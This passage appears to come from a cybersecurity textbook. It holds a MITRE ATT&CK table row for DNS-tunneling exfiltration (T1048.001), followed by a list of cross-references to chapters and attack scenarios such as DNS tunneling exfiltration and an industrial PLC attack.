| T1048.001 | Exfiltration Over Alternative Protocol: DNS | Exfiltration (DNS tunneling) |
Cross-References¶
- Chapter 34: Mobile and IoT Security
- Chapter 9: Incident Response Lifecycle
- Chapter 31: Network Security Architecture
- Chapter 27: Digital Forensics
- Chapter 38: Threat Hunting Advanced
- Chapter 29: Vulnerability Management
- Chapter 21: OT/ICS/SCADA Security
- SC-090: DNS Tunneling Exfiltration
- SC-096: Industrial PLC Attack
- SC-100: Coordinated Multi-Vector Attack